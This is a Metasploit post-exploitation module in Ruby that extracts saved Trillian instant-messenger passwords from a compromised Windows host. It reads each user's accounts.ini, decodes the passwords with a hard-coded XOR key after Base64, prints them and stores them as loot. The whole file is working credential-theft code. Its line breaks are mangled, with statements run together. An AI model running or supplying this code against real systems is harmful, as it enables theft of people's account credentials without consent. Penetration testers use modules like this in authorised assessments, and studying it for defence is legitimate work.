## #$Id: enum_trillian_pwds.rb 13400 2011-07-29 02:14:59Z sinn3r
$ ##
## # This file is part of the Metasploit Framework
and may be subject to # redistribution and commercial
restrictions. Please see the Metasploit # Framework web site for
more information on licensing and terms of use. #
http://metasploit.com/framework/ ##
require 'msf/core'
require 'rex' require 'rex/parser/ini' require 'base64'
require 'msf/core/post/windows/user_profiles'
class
Metasploit3 < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report include
Msf::Post::Windows::UserProfiles
def initialize(info={})
super(update_info(info, 'Name' => 'Trillian Password Extractor',
'Description' => %q{ This module extracts account password from
Trillian & Trillian Astra v4.x-5.x instant messenger. },
'License' => MSF_LICENSE, 'Author' => [ 'Sil3ntDre4m
<sil3ntdre4m[at]gmail.com>', 'SecurityXploded Team',
#www.SecurityXploded.com ], 'Version' => '$Revision: 13400 $',
'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ]
)) end
def run grab_user_profiles().each do |user|
accounts = user['AppData'] +
"\\Trillian\\users\\global\\accounts.ini" next if user['AppData']
== nil next if accounts.empty? stat =
session.fs.file.stat(accounts) rescue nil next if stat.nil?
get_ini(accounts) end end
def get_ini(file) begin
config = client.fs.file.new(file,'r') parse = config.read ini
= Rex::Parser::Ini.from_s(parse)
if ini == {}
print_error("Unable to parse file") return end
creds =
Rex::Ui::Text::Table.new( 'Header' => 'Trillian versions 4-5
Instant Messenger Credentials', 'Ident' => 1, 'Columns' =>
[ 'User', 'Password' ] )
ini.each_key do |group|
username = ini[group]['Account'] epass = ini[group]['Password']
next if epass == nil or epass == "" passwd = decrypt(epass).chop
print_good("User: #{username} Password: #{passwd}") creds <<
[username, passwd] end
print_status("Storing data...")
path = store_loot( 'trillian.user.creds', 'text/plain',
session, creds, 'trillian_user_creds.txt', 'Trillian
Instant Messenger User Credentials' )
print_status("Trillian Instant Messenger user credentials saved in:
#{path}")
rescue ::Exception => e print_error("An error
has occured: #{e.to_s}") end end
def decrypt (epass)
magicarr = [243, 38, 129, 196, 57, 134, 219, 146, 113, 163, 185,
230, 83, 122, 149, 124, 0, 0, 0, 0, 0, 0, 255, 0, 0, 128, 0, 0,
0, 128, 128, 0, 255, 0, 0, 0, 128, 0, 128, 0, 128, 128, 0, 0, 0,
128, 255, 0, 128, 0, 255, 0, 128, 128, 128, 0, 85, 110, 97, 98,
108, 101, 32, 116, 111, 32, 114, 101, 115, 111, 108, 118, 101,
32, 72, 84, 84, 80, 32, 112, 114, 111, 120, 0]
decpass =
Base64.decode64(epass) plaintext =
[decpass].pack("H*").unpack("C*")
for i in 0 ..
plaintext.length-2 do plaintext[i] ^= magicarr[i] end
return plaintext.pack("C*") end end
|